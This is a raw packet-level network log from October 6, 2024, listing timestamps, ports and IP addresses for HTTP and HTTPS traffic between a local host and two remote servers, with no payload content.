Oct 6, 2024 22:33:09.876359940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876372099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876375914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876391888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876391888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876409054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876419067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876419067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876437902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876457930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876694918 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.876744986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876760006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876781940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876796961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876812935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876812935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876812935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876827955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876837015 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.876844883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876847029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876862049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876873970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876876116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876892090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876897097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876902103 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.876908064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876923084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876938105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876940012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876940012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876955032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876961946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876971960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876986980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876997948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877002001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877017975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877021074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877033949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877043009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877051115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877058983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877067089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877075911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877084970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.877095938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877159119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.877290964 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.877305984 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.877319098 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.877326965 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.879251957 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.879267931 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.879326105 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.879440069 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.879451990 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.894036055 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.894079924 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.894162893 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.894337893 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.894346952 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.894357920 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.894362926 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.896744013 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.896761894 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.897507906 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.897597075 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.897609949 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.909925938 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.910059929 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.910231113 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.910248995 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.910254955 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.910288095 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.910293102 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.913203001 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.913212061 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.913367033 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.913475037 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.913484097 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.957313061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957356930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957372904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957463026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.957463026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.957479000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957494974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957510948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957526922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.957555056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.957587004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959211111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959270000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959273100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959290028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959336042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959391117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959408045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959424019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959441900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959470987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959472895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959511042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959511042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959623098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959638119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959652901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959669113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959683895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959686041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959698915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959709883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959745884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959745884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959877968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959892988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959907055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959920883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959934950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959935904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959949970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959955931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.959964991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.959980011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960000992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960087061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960171938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960186958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960202932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960216999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960239887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960256100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960258007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960258007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960258007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960268974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960284948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960299015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960300922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960300922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960315943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960326910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960357904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960592031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960608006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960622072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960643053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960676908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960711956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960726976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960741043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960779905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960779905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.960937023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960951090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960966110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960980892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.960997105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961003065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961004019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961004019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961013079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961028099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961041927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961041927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961044073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961067915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961067915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961088896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961278915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961293936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961309910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961323023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961337090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961339951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961353064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961359978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961368084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961381912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961383104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961409092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961409092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961450100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961596012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961611986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961627007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961642027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961648941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961648941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961657047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961673021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961672068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961690903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961694956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961694956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961714029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961726904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961726904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961746931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961870909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961884975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961899042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961914062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961926937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961931944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961941957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961952925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961958885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.961971998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.961993933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962025881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962217093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962232113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962254047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962268114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962280035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962282896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962297916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962304115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962313890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962325096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962328911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962342024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962344885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962359905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962374926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962380886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962389946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962403059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962405920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962424040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962441921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962641001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962655067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962670088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962692976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962699890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962713957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962721109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962738991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962749958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962759972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962790966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962800980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962800980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962800980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962810040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962824106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.962837934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962857962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962877989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.962985992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963001013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963016033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963037014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963052034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963066101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963080883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963094950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963112116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963125944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963141918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963157892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963207006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963370085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963391066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963418007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963419914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963433981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963443041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963449955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963464975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963464975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963479996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963493109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963493109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963495970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963510990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963520050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963520050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963529110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.963541031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963561058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.963592052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.043905973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.043930054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.043946028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.043962002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.043978930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.043994904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.044009924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.044028044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.044120073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045475006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045505047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045521021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045553923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045553923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045605898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045644999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045661926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045701981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045727015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045742989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045780897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045903921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045917988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045944929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.045955896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.045960903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046000957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046061993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046077967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046092987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046109915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046116114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046128988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046139002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046175003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046319008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046334982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046350956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046370029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046379089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046422958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046426058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046426058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046441078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046466112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046489000 CEST	49741	80	192.168.2.4	141.98.233.156
